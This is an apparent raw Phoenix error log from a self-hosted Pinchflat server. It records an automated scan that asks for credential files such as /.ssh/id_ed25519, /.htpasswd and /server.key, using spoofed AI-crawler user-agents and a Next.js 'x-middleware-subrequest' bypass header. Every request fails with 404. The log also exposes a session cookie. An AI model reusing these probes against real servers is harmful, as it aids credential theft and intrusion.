"pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33898}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29649.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.htpasswd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZNsb5gHQbMABv_h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29648.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.htpasswd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33898}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29648.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.htpasswd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33898}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 16:49:07.052 [info] GET /.ssh/id_ed25519 16:49:07.052 [debug] QUERY OK source="settings" db=0.0ms idle=88.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.052 [debug] QUERY OK source="settings" db=0.0ms idle=79.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.052 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.052 [error] #PID<0.29651.0> running PinchflatWeb.Endpoint (connection #PID<0.29650.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.ssh/id_ed25519 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/id_ed25519 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_ed25519", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33904}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29651.0>, params: %{}, path_info: [".ssh", "id_ed25519"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.ssh/id_ed25519", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZbUTqQCvTMABMUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_ed25519", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33904}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/id_ed25519 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/id_ed25519", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33904}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:07.080 [info] GET /.ssh/config 16:49:07.080 [debug] QUERY OK source="settings" db=0.0ms idle=107.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.080 [debug] QUERY OK source="settings" db=0.0ms idle=85.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.080 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.081 [error] #PID<0.29653.0> running PinchflatWeb.Endpoint (connection #PID<0.29652.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.ssh/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29652.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33906}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29653.0>, params: %{}, path_info: [".ssh", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.ssh/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZiDe4CQ8XoABwAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29652.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33906}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.ssh/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29652.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.ssh/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33906}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 16:49:07.099 [info] GET /server.key 16:49:07.099 [debug] QUERY OK source="settings" db=0.0ms idle=104.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.099 [debug] QUERY OK source="settings" db=0.0ms idle=47.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.100 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.100 [error] #PID<0.29655.0> running PinchflatWeb.Endpoint (connection #PID<0.29654.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server.key ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29654.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server.key", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29655.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/server.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZmpnpvTkB0ABwAh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29654.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server.key", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: 